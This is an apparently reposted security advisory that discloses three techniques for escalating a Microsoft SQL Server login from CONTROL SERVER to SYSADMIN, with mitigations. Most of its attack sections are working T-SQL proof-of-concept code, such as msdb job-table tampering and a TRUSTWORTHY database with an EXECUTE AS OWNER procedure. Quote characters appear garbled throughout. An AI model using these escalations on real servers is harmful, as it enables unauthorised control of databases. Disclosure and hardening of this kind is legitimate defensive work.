Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

Title: Microsoft SQL Server Privilege Escalation from Control Server To Title: Microsoft SQL Server Privilege Escalation from Control Server To Sysadmin role
Product: Microsoft SQL Server
Affected Version(s): sql server 2016,2017,2019,2022
Risk Level: Medium
Author of Advisory: Emad Al-Mousa

Overview:

Privilege escalation is one of the most common exploit techniques hackers use to abuse and take over critical systems, database systems are very important to be protected against
such attacks.


*****************************************
Exploit Summary Details:

3 novel techniques exploits can be used to abuse control server permission in SQL Server to escalate/elevate to SYSADMIN role. control server permission is powerful permission yet not at
the same level of SYSADMIN role.

*****************************************
Proof of Concept (PoC):

Exploit Technique 1: Direct Modification into MSDB database tables


As an account with CONTROL SERVER ROLE?.you can add the login as database user at MSDB level but can?t grant any database role directly to it:

USE [msdb]

GO

CREATE USER [rico] FOR LOGIN [rico]

GO

After database user account creation successfully completed, I will try to add it to db_owner role:

USE [msdb]

GO

ALTER ROLE [db_owner] ADD MEMBER [rico]

GO

The following error will be thrown:

Msg 15151, Level 16, State 1, Line 3

Cannot alter the role ?db_owner?, because it does not exist or you do not have permission.

However I still can elevate to SYSADMIN Role through direct system tables modification in MSDB database:


For the sake of a proof of concept I will create a dummy job in SQL Server Instance and call it ?Test? using the below code:

USE [msdb]

GO

BEGIN TRANSACTION

DECLARE @ReturnCode INT

SELECT @ReturnCode = 0

IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]? AND category_class=1)

BEGIN

EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N?JOB?, @type=N?LOCAL?, @name=N'[Uncategorized (Local)]?

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)

EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N?Test?,

@enabled=1,

@notify_level_eventlog=0,

@notify_level_email=0,

@notify_level_netsend=0,

@notify_level_page=0,

@delete_level=0,

@description=N?No description available.?,

@category_name=N'[Uncategorized (Local)]?,

@owner_login_name=N?sa?, @job_id = @jobId OUTPUT

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N?elevate_me?,

@step_id=1,

@cmdexec_success_code=0,

@on_success_action=1,

@on_success_step_id=0,

@on_fail_action=2,

@on_fail_step_id=0,

@retry_attempts=0,

@retry_interval=0,

@os_run_priority=0, @subsystem=N?TSQL?,

@command=N?XXXXXXXXXXXXXXXXXXXXXX?,

@database_name=N?master?,

@flags=0

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N?run?,

@enabled=1,

@freq_type=4,

@freq_interval=1,

@freq_subday_type=2,

@freq_subday_interval=10,

@freq_relative_interval=0,

@freq_recurrence_factor=0,

@active_start_date=20231015,

@active_end_date=99991231,

@active_start_time=0,

@active_end_time=235959,

@schedule_uid=N?6986b644-3356-4750-a140-00193274d23d?

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)?

IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

COMMIT TRANSACTION

GOTO EndSave

QuitWithRollback:

IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION

EndSave:

GO

// I will be able to query the list of Jobs

select * from [msdb].[dbo].[sysjobs];

//I will change the ownership of the job Test to be ?sa? account using the below update statement

update [msdb].[dbo].[sysjobs] set owner_sid=0x01 where name='Test';

// I will retrieve information about job Test using job_id value

SELECT * FROM [msdb].[dbo].[sysjobsteps] where job_id=?A4592896-4688-4DCC-B63E-813BE71A7EDD?;

// I will update the code of the job step to elevate/escalate permission

update [msdb].[dbo].[sysjobsteps] set command='ALTER SERVER ROLE [sysadmin] ADD MEMBER [rico] ' where job_id='29027CCB-EA4E-4ADA-B175-F2BF534FE30E';


And that?s it?.account ?rico? will be escalated to SYSADMIN role in the next scheduled time for the job ?Test?.




Exploit Technique 2: Code Injection In MSDB database to exploit trustworthy property



USE [msdb]

GO

CREATE USER [rico] FOR LOGIN [rico]

GO

USE [msdb]

GO

create or alter procedure dbo.elevate_me

with execute as owner

as alter server role sysadmin add member rico;

GO

USE [msdb]

GO

exec dbo.elevate_me;

And that?s it[refresh your connection]?database login rico is now elevated from CONTROL SERVER to SYSADMIN role.



Exploit Technique 3: DB Creation with Trustworthy Property


As login rico I will create a database and set trustworthy of the database to ?on? and add the login as database user to escalate to sysadmin role as it will be presented here:

create database TEST55;

ALTER DATABASE TEST55 SET TRUSTWORTHY ON;

USE [TEST55]

GO

ALTER AUTHORIZATION ON DATABASE::[TEST55] TO [sa]

GO

USE [TEST55]

GO

CREATE USER [rico] FOR LOGIN [rico]

GO

USE [TEST55]

GO

create or alter procedure dbo.elevate_me

with execute as owner

as alter server role sysadmin add member rico;

GO

USE [TEST55]

GO

exec dbo.elevate_me;

And that?s it?database login rico is now elevated from CONTROL SERVER to SYSADMIN role.


********************************************************************************************************************************

Can these exploits be blocked if there is a need to have an account with control server permission and restrict it from being abused for privilege escalation ?

Answer: Yes.


Exploit techniques 2 and 3 can be blocked if the following permissions were ?denied? from the login with CONTROL SERVER securable.

use [master]

GO

DENY ALTER ANY DATABASE TO [rico]

GO

use [master]

GO

DENY CREATE ANY DATABASE TO [rico]

GO

use [master]

GO

DENY IMPERSONATE ANY LOGIN TO [rico]

GO

Exploit technique 1 can be blocked when denying it permissions at MSDB database user level:

USE [msdb]

GO

CREATE USER [rico] FOR LOGIN [rico]

GO

use [msdb]

GO

DENY ALTER TO [rico]

GO

use [msdb]

GO

DENY DELETE TO [rico]

GO

use [msdb]

GO

DENY EXECUTE TO [rico]

GO

use [msdb]

GO

DENY INSERT TO [rico]

GO

use [msdb]

GO

DENY UPDATE TO [rico]

GO




Conclusions:

- Control server is powerful securable but not at the same level of sysadmin role [ can?t execute certain procedures, can?t execute DBCC commands, and can?t view or have direct interface with agent jobs].

- The presented exploits shows weaknesses that should be prevented in the first place. The idea of having/granting a securable to a sql server login and this login can easily escalate to ?SYSADMIN? role is not acceptable from security design perspective and is a big security hole that requires serious review. Any database role should be confined with limited scope of power so attackers can?t abuse it.

- Auditing is always the best approach to detect privilege escalation attacks.





*****************************************
References:
https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/
https://learn.microsoft.com/en-us/sql/ssms/agent/implement-sql-server-agent-security?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16
Social Media Share